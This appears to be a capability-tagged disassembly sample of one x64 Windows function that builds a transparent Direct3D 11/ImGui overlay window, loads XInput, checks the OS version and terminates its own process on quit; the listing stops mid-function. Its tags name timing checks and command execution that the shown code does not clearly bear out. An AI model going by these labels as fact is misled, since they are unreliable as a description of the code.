Function at 0x1400319a0
Capabilities:
Check for time delay via queryperformancecounter
Check os version
Execute command
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
movaps xmmword [rsp + 0x4d0], xmm6
mov rax, qword [0x1400a1010]
xor rax, rsp
mov qword [rbp + 0x340], rax
lea rax, [0x140033500]
mov dword [rbp + 0xe0], 0x50
xor r12d, r12d
mov qword [rbp + 0xe8], rax
xor ecx, ecx
mov qword [rbp + 0xf0], r12
mov dword [rbp + 0xe4], 0x40
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0xf8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x100], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x108], rax
xorps xmm0, xmm0
mov edx, 0x7f00
movdqa xmmword [rbp + 0x110], xmm0
lea rax, str.Class01
xor ecx, ecx
mov qword [rbp + 0x120], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x128], rax
call qword [sym.imp.USER32.dll_RegisterClassExA]
cvttss2si edi, dword [0x1400d9174]
lea ecx, [r12 + 1]
cvttss2si esi, dword [0x1400d9170]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1400d9174]
xor ecx, ecx
mulss xmm0, dword [0x14009a308]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1400d9170]
lea r8, [0x14003565e]
mulss xmm0, dword [0x14009a308]
cdq
mov qword [rsp + 0x58], r12
sub eax, edx
mov rdx, qword [rbp + 0x120]
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
xor ecx, ecx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
sar eax, 1
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x1400d97e8], rax
lea edx, [r12 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1400d97e8]
lea edx, [r12 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1400d97e8]
lea r9d, [r12 + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14009a400]
lea rdx, [rbp + 0x1f8]
movdqu xmmword [rbp + 0x1f8], xmm0
mov rcx, qword [0x1400d97e8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1400d97e8]
lea rdx, [0x1400d97f0]
xorps xmm0, xmm0
movups xmmword [0x1400d97f0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1400d97e8]
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x60], rax
lea edx, [r12 + 1]
lea rax, [0x1400d9848]
mov qword [rbp + 0x44], r12
mov qword [rsp + 0x58], rax
xor r9d, r9d
lea rax, [rbp + 0x10]
mov qword [rbp + 0x58], 2
mov qword [rsp + 0x50], rax
xor r8d, r8d
lea rax, [0x1400d9840]
mov qword [rbp + 0x70], 2
mov qword [rsp + 0x48], rax
lea rax, [0x1400d9838]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov qword [rbp + 0x30], r12
mov dword [rbp + 0x40], 0x1c
mov dword [rbp + 0x38], 0x3c
mov dword [rbp + 0x3c], 1
mov dword [rbp + 0x54], 0x20
mov qword [rbp + 0x4c], 1
mov qword [rbp + 0x68], 1
mov dword [rbp + 0x20], 0xb000
mov dword [rbp + 0x24], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140031c84
call fcn.140033410
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea eax, [r12 + 1]
jmp 0x1400333e4
mov qword [rsp + 0x510], r13
mov qword [rsp + 0x518], r14
mov qword [rsp + 0x520], r15
movaps xmmword [rsp + 0x4c0], xmm7
movaps xmmword [rsp + 0x4b0], xmm8
movaps xmmword [rsp + 0x4a0], xmm9
movaps xmmword [rsp + 0x490], xmm10
movaps xmmword [rsp + 0x480], xmm11
movaps xmmword [rsp + 0x470], xmm12
call fcn.140033490
mov rcx, qword [0x1400d97e8]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400d97e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [0x1400d97e8]
lea rdx, [rbp + 0xc0]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0xc0]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, qword [0x1400d97d8]
mov rsi, rax
test rbx, rbx
je 0x140031d30
inc dword [rbx + 0xf4]
mov ecx, 0x5d78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140031d4c
xor edx, edx
mov rcx, rax
call fcn.1400012b0
jmp 0x140031d4f
mov rax, r12
mov qword [0x1400d97d8], rax
call fcn.1400085e0
mov r15, qword [0x1400d97d8]
test rbx, rbx
cmovne r15, rbx
xor ecx, ecx
mov qword [0x1400d97d8], r15
mov qword [r15 + 0x20], r12
call fcn.1400203b0
mov r14, qword [0x1400d97d8]
lea rcx, [rbp + 0x138]
mov rbx, qword [0x1400d97e8]
mov qword [rsp + 0x60], r14
mov dword [r14 + 0x37f0], 0x40a00000
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140031ef3
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140031ef3
mov rax, qword [0x1400d97d8]
test rax, rax
je 0x140031dd5
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140031e02
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x140031e05
mov rdi, r12
or dword [r14 + 0xc], 6
lea rax, [0x140099ef8]
mov qword [r14 + 0x88], rax
mov qword [r14 + 0x98], rdi
mov qword [rdi], rbx
mov rax, qword [rbp + 0x138]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x140]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1400d97d8]
mov dword [rdi + 0x28], 9
mov rcx, qword [rax + 0x4860]
mov rax, qword [rcx]
mov qword [rax + 0x28], rbx
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x1c8], rax
mov rbx, r12
lea rax, str.xinput1_3.dll
mov byte [rdi + 0x2d], 1
mov qword [rbp + 0x1d0], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x1d8], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x1e0], rax
lea rax, str.xinput1_1.dll
mov qword [rbp + 0x1e8], rax
mov rcx, qword [rbp + rbx*8 + 0x1c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
jne 0x140031ec2
inc rbx
cmp rbx, 5
jl 0x140031ea1
jmp 0x140031eee
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], r14
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, r14
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov r14, qword [rsp + 0x60]
mov rdi, qword [0x1400d97d8]
mov r13, qword [0x1400d9848]
mov r12, qword [0x1400d9840]
test rdi, rdi
je 0x140031f13
inc dword [rdi + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140031f54
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140031f56
xor ebx, ebx
or dword [rdi + 0xc], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x90], rax
lea r8, [rbp + 0x28]
mov qword [rdi + 0xa0], rbx
lea rdx, [0x140099ec8]
mov rax, qword [r12]
xor edi, edi
mov rcx, r12
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x20], rdi
call qword [rax]
test eax, eax
jne 0x140031fd6
mov rcx, qword [rbp + 0x28]
lea r8, [rbp + 0x10]
lea rdx, [0x140099ed8]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x140031fd6
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x20]
lea rdx, [0x140099ee8]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x140031fd6
mov qword [rbx], r12
mov qword [rbx + 8], r13
mov rax, qword [rbp + 0x20]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x140031fe5
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140031ff4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [0x1400d97d8]
lea rax, [0x1400999f8]
movss xmm3, dword [0x14009a38c]
lea rdx, [0x1400b9920]
mov qword [rsp + 0x28], rax
mov r8d, 0x1f84c
mov qword [rsp + 0x20], rdi
mov rcx, qword [rcx + 0x58]
call fcn.1400249f0
movss xmm0, dword [0x14009a3e0]
xorps xmm6, xmm6
mov r12, qword [r15 + 0x58]
xor eax, eax
mov qword [rbp + 0xb0], rax
mov eax, 0xffff
movups xmmword [rbp + 0x80], xmm6
mov word [rbp + 0x84], ax
mov rax, qword [0x1400d97d8]
mov dword [rbp + 0x80], 0x3f800000
movups xmmword [rbp + 0x40], xmm6
mov dword [rbp + 0x48], 3
mov dword [rbp + 0x4c], 1
movups xmmword [rbp + 0x70], xmm6
mov byte [rbp + 0x78], 1
movss dword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x3c], 1
movups xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x50], 1
test rax, rax
je 0x1400320b3
inc dword [rax + 0xf4]
mov ecx, 0x6106c
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
lea rbx, [0x14003abb0]
lea rax, [0x14003aba0]
mov qword [0x1400d9820], r13
mov rcx, rbx
mov qword [0x1400d9810], rax
mov qword [0x1400d9828], r13
lea rdi, [r13 + 0x6106c]
mov qword [0x1400d9818], rdi
call fcn.1400282b0
cmp rax, rbx
je 0x140032119
nop
cmp qword [0x1400d9828], rdi
ja 0x140032119
mov rcx, rax
mov rbx, rax
call fcn.1400282b0
cmp rax, rbx
jne 0x140032100
movaps xmm7, xmmword [rbp + 0x30]
lea rax, [0x14009a2a4]
movaps xmm9, xmmword [rbp + 0x40]
lea rdx, [rbp + 0x30]
movaps xmm10, xmmword [rbp + 0x50]
mov rcx, r12
movaps xmm11, xmmword [rbp + 0x70]
movaps xmm12, xmmword [rbp + 0x80]
movsd xmm8, qword [rbp + 0xb0]
movaps xmmword [rbp + 0x210], xmm7
movaps xmmword [rbp + 0x40], xmm9
movaps xmmword [rbp + 0x60], xmm6
mov byte [rbp + 0x21c], 1
movaps xmm1, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x30], r13
mov dword [rbp + 0x38], 0x6106c
movaps xmmword [rbp + 0x50], xmm10
movaps xmmword [rbp + 0x70], xmm11
movaps xmmword [rbp + 0x80], xmm12
movaps xmmword [rbp + 0x90], xmm6
movaps xmmword [rbp + 0xa0], xmm6
movsd qword [rbp + 0xb0], xmm8
mov dword [rbp + 0x44], 0x41f00000
mov qword [rbp + 0x68], rax
call fcn.140024730
mov rax, qword [0x1400d97d8]
mov r12, qword [r15 + 0x58]
test rax, rax
je 0x1400321c7
inc dword [rax + 0xf4]
mov ecx, 0x2d70c
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
lea rbx, [0x140073f10]
lea rax, [0x140073f00]
mov qword [0x1400d9820], r15
mov rcx, rbx
mov qword [0x1400d9810], rax
mov qword [0x1400d9828], r15
lea rdi, [r15 + 0x2d70c]
mov qword [0x1400d9818], rdi
call fcn.1400282b0
cmp rax, rbx
je 0x14003222c
cmp qword [0x1400d9828], rdi
ja 0x14003222c
mov rcx, rax
mov rbx, rax
call fcn.1400282b0
cmp rax, rbx
jne 0x140032213
movaps xmmword [rbp + 0x210], xmm7
lea rax, [0x14009a2c0]
movaps xmmword [rsp + 0x460], xmm13
lea rdx, [rbp + 0x30]
movaps xmmword [rbp + 0x40], xmm9
mov rcx, r12
movaps xmmword [rbp + 0x60], xmm6
mov byte [rbp + 0x21c], 1
movaps xmm1, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x30], r15
mov dword [rbp + 0x38], 0x2d70c
movaps xmmword [rsp + 0x450], xmm14
movaps xmmword [rbp + 0x50], xmm10
movaps xmmword [rbp + 0x70], xmm11
movaps xmmword [rbp + 0x80], xmm12
movaps xmmword [rbp + 0x90], xmm6
movaps xmmword [rbp + 0xa0], xmm6
movsd qword [rbp + 0xb0], xmm8
mov dword [rbp + 0x44], 0x41f00000
mov qword [rbp + 0x68], rax
call fcn.140024730
mov r13d, 1
mov byte [rbp + 0x130], 1
lea rcx, [rbp + 0x210]
mov dword [rbp + 0x210], 0x11c
mov r15d, r13d
call qword [sym.imp.ntdll.dll_RtlGetVersion]
lea edx, [r13 + 0xa]
test eax, eax
jne 0x14003234f
mov eax, dword [rbp + 0x218]
mov ecx, dword [rbp + 0x214]
mov dword [0x1400d9804], eax
mov eax, dword [rbp + 0x21c]
cmp eax, 0x55f0
mov dword [0x1400d9808], eax
cmovae ecx, edx
mov dword [0x1400d9800], ecx
cmp ecx, 6
ja 0x140032355
mov rcx, qword [0x1400d97e8]
lea r9d, [r13 + 0xf]
lea r8, str.Error
lea rdx, str.your_operating_system_is_not_supported
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [0x1400d97d8]
xor esi, esi
test rdi, rdi
je 0x14003326a
mov rbx, qword [rdi + 0xa0]
jmp 0x14003326d
mov ecx, dword [0x1400d9800]
cmp byte [rbp + 0x130], 0
je 0x140032331
movss xmm10, dword [0x14009a3c0]
xorps xmm6, xmm6
movss xmm8, dword [0x14009a384]
xor r12d, r12d
movss xmm13, dword [0x14009a394]
movss xmm14, dword [0x14009a3a0]
movss xmm7, dword [0x14009a3f0]
movss xmm11, dword [0x14009a3b0]
movss xmm12, dword [0x14009a3b8]
movss xmm9, dword [0x14009a36c]
nop dword [rax + rax]
cmp ecx, 6
jbe 0x140032331
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x1c8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140032435
nop word [rax + rax]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x1d0], 0x12
jne 0x140032417
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x1c8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400323e0
cmp byte [rbp + 0x130], 0
je 0x140032331
movaps xmm0, xmmword [0x14009a8c0]
movaps xmm1, xmmword [0x14009a820]
movups xmmword [r14 + 0x38a8], xmm0
movaps xmm0, xmmword [0x14009a770]
movups xmmword [r14 + 0x38c8], xmm0
movaps xmm0, xmmword [0x14009a700]
movups xmmword [r14 + 0x38b8], xmm1
movaps xmm1, xmmword [0x14009a790]
movups xmmword [r14 + 0x38e8], xmm0
movaps xmm0, xmmword [0x14009a5a0]
movups xmmword [r14 + 0x38d8], xmm1
movaps xmm1, xmmword [0x14009a530]
movups xmmword [r14 + 0x3928], xmm0
movaps xmm0, xmmword [0x14009a5c0]
movups xmmword [r14 + 0x3918], xmm1
movaps xmm1, xmmword [0x14009a600]
movups xmmword [r14 + 0x3948], xmm0
movaps xmm0, xmmword [0x14009a560]
movups xmmword [r14 + 0x3938], xmm1
movaps xmm1, xmmword [0x14009a5d0]
movups xmmword [r14 + 0x3968], xmm0
movaps xmm0, xmmword [0x14009a5d0]
movups xmmword [r14 + 0x3958], xmm1
movaps xmm1, xmmword [0x14009a5e0]
movups xmmword [r14 + 0x3988], xmm0
movaps xmm0, xmmword [0x14009a620]
movups xmmword [r14 + 0x3978], xmm1
movaps xmm1, xmmword [0x14009a590]
movups xmmword [r14 + 0x39a8], xmm0
movaps xmm0, xmmword [0x14009a8b0]
movups xmmword [r14 + 0x3998], xmm1
movaps xmm1, xmmword [0x14009a640]
movups xmmword [r14 + 0x39c8], xmm0
movaps xmm0, xmmword [0x14009a650]
movups xmmword [r14 + 0x39b8], xmm1
movaps xmm1, xmmword [0x14009a630]
movups xmmword [r14 + 0x39e8], xmm0
movaps xmm0, xmmword [0x14009a7a0]
movups xmmword [r14 + 0x39d8], xmm1
movaps xmm1, xmmword [0x14009a790]
movups xmmword [r14 + 0x3a08], xmm0
movups xmmword [r14 + 0x3a18], xmm0
movups xmmword [r14 + 0x39f8], xmm1
movaps xmm1, xmm0
movaps xmm0, xmmword [0x14009a5f0]
movaps xmm1, xmmword [0x14009a680]
movups xmmword [r14 + 0x3a28], xmm0
movaps xmm0, xmmword [0x14009a690]
movups xmmword [r14 + 0x3a48], xmm0
movaps xmm0, xmmword [0x14009a620]
movups xmmword [r14 + 0x3a68], xmm0
movaps xmm0, xmmword [0x14009a550]
movups xmmword [r14 + 0x3a38], xmm1
movaps xmm1, xmmword [0x14009a610]
movups xmmword [r14 + 0x3a88], xmm0
movaps xmm0, xmmword [0x14009a630]
movups xmmword [r14 + 0x3a58], xmm1
movaps xmm1, xmmword [0x14009a630]
movups xmmword [r14 + 0x3aa8], xmm0
movaps xmm0, xmmword [0x14009a6a0]
movups xmmword [r14 + 0x3a78], xmm1
movaps xmm1, xmmword [0x14009a620]
movups xmmword [r14 + 0x3ac8], xmm0
movaps xmm0, xmmword [0x14009a720]
movups xmmword [r14 + 0x3a98], xmm1
movaps xmm1, xmmword [0x14009a6d0]
movups xmmword [r14 + 0x3ae8], xmm0
movaps xmm0, xmmword [0x14009a880]
movups xmmword [r14 + 0x3ab8], xmm1
movaps xmm1, xmmword [0x14009a6c0]
movups xmmword [r14 + 0x3b08], xmm0
movaps xmm0, xmmword [0x14009a760]
movups xmmword [r14 + 0x3ad8], xmm1
movaps xmm1, xmmword [0x14009a730]
movups xmmword [r14 + 0x3b28], xmm0
movaps xmm0, xmmword [0x14009a510]
movups xmmword [r14 + 0x3af8], xmm1
movaps xmm1, xmmword [0x14009a890]
movups xmmword [r14 + 0x3b98], xmm0
movups xmmword [r14 + 0x3b18], xmm1
movups xmmword [r14 + 0x3b38], xmm1
mov rcx, qword [0x1400d9840]
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x158]
mov qword [rsp + 0x28], rax
lea rdx, [0x1400a1260]
mov r8d, 0x1c64
mov qword [rsp + 0x20], r12
mov qword [rbp + 0x158], 0xffffffffffffffff
mov qword [rbp + 0x160], 0xffffffffffffffff
mov qword [rbp + 0x168], 0xffffffffffffffff
mov qword [rbp + 0x170], 0xffffffffffffffff
mov dword [rbp + 0x178], 0xffffffff
mov qword [rbp + 0x17c], 0xfffffffffffffffd
mov dword [rbp + 0x184], 0xffffffff
mov qword [rbp + 0x188], r12
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0x190], 0xffffffffffffffff
mov qword [rbp + 0x198], 0xffffffffffffffff
mov qword [rbp + 0x1a0], 0xffffffffffffffff
mov qword [rbp + 0x1a8], 0xffffffffffffffff
mov dword [rbp + 0x1b0], 0xffffffff
mov qword [rbp + 0x1b4], 0xfffffffffffffffd
mov dword [rbp + 0x1bc], 0xffffffff
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], 0xffffffffffffffff
mov qword [rbp + 0x38], 0xffffffffffffffff
mov qword [rbp + 0x40], 0xffffffffffffffff
mov qword [rbp + 0x48], 0xffffffffffffffff
mov dword [rbp + 0x50], 0xffffffff
mov qword [rbp + 0x54], 0xfffffffffffffffd
mov dword [rbp + 0x5c], 0xffffffff
mov qword [rbp + 0x60], r12
mov qword [rbp + 0xc8], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1400d9840]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rdx, [0x1400a2ed0]
mov r8d, 0x16a42
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1400d9840]
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, [0x1400a1050]
mov r8d, 0x201
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rbx, qword [0x1400d97d8]
test rbx, rbx
je 0x140032842
mov rax, qword [rbx + 0xa0]
jmp 0x140032845
mov rax, r12
cmp qword [rax + 0x48], 0
jne 0x140032858
call fcn.1400296a0
mov rbx, qword [0x1400d97d8]
test rbx, rbx
je 0x140032866
mov rdi, qword [rbx + 0x98]
jmp 0x140032869
mov rdi, r12
xorps xmm0, xmm0
lea rdx, [rbp + 0x10]
movdqu xmmword [rbp + 0x10], xmm0
mov rcx, qword [rdi]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x18]
lea rcx, [rbp + 0x150]
sub eax, dword [rbp + 0x10]
mov qword [rbp + 0x150], r12
movd xmm1, eax
mov eax, dword [rbp + 0x1c]
sub eax, dword [rbp + 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm1
movss dword [rbx + 0x14], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x150]
xorps xmm1, xmm1
mov r14, qword [0x1400d97d8]
mov rax, rcx
sub rax, qword [rdi + 0x18]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rdi + 0x20]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [rdi + 0x18], rcx
test r14, r14
je 0x1400328f5
mov r12, qword [r14 + 0x98]
mov r13, qword [r12]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, r13
jne 0x14003299e
cmp byte [r14 + 0xdb], 0
je 0x140032951
cvttss2si eax, dword [r14 + 0xdfc]
lea rdx, [rbp + 0x28]
mov rcx, r13
mov dword [rbp + 0x28], eax
cvttss2si eax, dword [r14 + 0xe00]
mov dword [rbp + 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
test eax, eax
je 0x140032947
mov edx, dword [rbp + 0x2c]
mov ecx, dword [rbp + 0x28]
call qword [sym.imp.USER32.dll_SetCursorPos]
cmp byte [r14 + 0xdb], 0
jne 0x14003299e
cmp byte [r12 + 0x10], 0
jne 0x14003299e
lea rcx, [rbp + 0x148]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14003299e
mov rcx, qword [r12]
lea rdx, [rbp + 0x148]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x14003299e
movd xmm2, dword [rbp + 0x14c]
lea rcx, [r14 + 8]
movd xmm1, dword [rbp + 0x148]
cvtdq2ps xmm2, xmm2
cvtdq2ps xmm1, xmm1
call fcn.1400026f0
call fcn.140029e70
cmp byte [rbx + 0x78], 0
je 0x1400329b0
mov eax, 0xffffffff
jmp 0x1400329bd
mov rax, qword [0x1400d97d8]
mov eax, dword [rax + 0x4a10]
cmp dword [rdi + 0x28], eax
je 0x1400329ca
mov dword [rdi + 0x28], eax
call fcn.140029d00
call fcn.14002a020
call fcn.140007340
mov rax, qword [0x1400d97d8]
lea rdx, [rbp + 0x130]
xor r12d, r12d
lea rcx, [0x14003565e]
mov r13d, 1
or dword [rax + 0x4760], 3
mov qword [rax + 0x4770], r12
lea r8d, [r12 + 0x3b]
mov qword [rax + 0x4778], r12
mov dword [rax + 0x4764], 4
movsd xmm0, qword [0x1400d9170]
movsd qword [rax + 0x4780], xmm0
mov dword [rax + 0x4768], r13d
call fcn.14000d3a0
mov rcx, qword [0x1400d97e8]
lea rdx, [0x1400d97f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r10, qword [0x1400d97d8]
mov rax, qword [r10 + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm6
movss xmm1, dword [rax + 0x1c]
jp 0x140032a6c
jne 0x140032a6c
ucomiss xmm1, xmm6
jp 0x140032a6c
je 0x140032ad8
movd xmm0, dword [0x1400d97f4]
cvttss2si eax, dword [0x1400d9174]
mov rcx, qword [0x1400d97e8]
mov dword [rsp + 0x28], r13d
cvttss2si r9d, dword [0x1400d9170]
mov dword [rsp + 0x20], eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
movd xmm1, dword [0x1400d97f0]
cvtdq2ps xmm1, xmm1
cvttss2si r8d, xmm0
addss xmm1, xmm2
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov r10, qword [0x1400d97d8]
lea rdx, [rbp - 0x70]
xor r8d, r8d
mov qword [rbp - 0x70], r12
mov rcx, qword [r10 + 0x3ea0]
call fcn.14000fc70
mov rax, qword [r10 + 0x3ea0]
lea r9, [rbp - 0x68]
lea r8, [rbp - 0x60]
mov dword [rbp - 0x68], 0x3f800000
lea rdx, [rbp - 0x58]
mov dword [rbp - 0x64], 0x3f800000
mov qword [rbp - 0x60], r12
mov byte [rax + 0x98], r13b
mov rax, qword [r10 + 0x3ea0]
mov dword [rbp - 0x58], 0x41800000
mov dword [rbp - 0x54], 0x41800000
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm1, xmm10
addss xmm0, xmm8
movss dword [rax + 0xe0], xmm1
movaps xmm1, xmmword [0x14009a900]
movss dword [rax + 0xe4], xmm0
xorps xmm0, xmm0
mov rcx, qword [rbp + 0xc8]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x68], xmm1
call fcn.14002ed40
mov rcx, qword [0x1400d97d8]
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x41800000
mov dword [rbp - 0x4c], 0x41800000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm1, xmm10
addss xmm0, xmm8
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
call fcn.14002dd50
test al, al
jne 0x140033261
mov rcx, qword [0x1400d97d8]
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x40]
mov dword [rbp - 0x48], 0x3f800000
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x44], 0x3f800000
mov qword [rbp - 0x40], r12
mov rax, qword [rcx + 0x3ea0]
mov dword [rbp - 0x38], 0x42900000
mov dword [rbp - 0x34], 0x42900000
mov byte [rax + 0x98], r13b
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
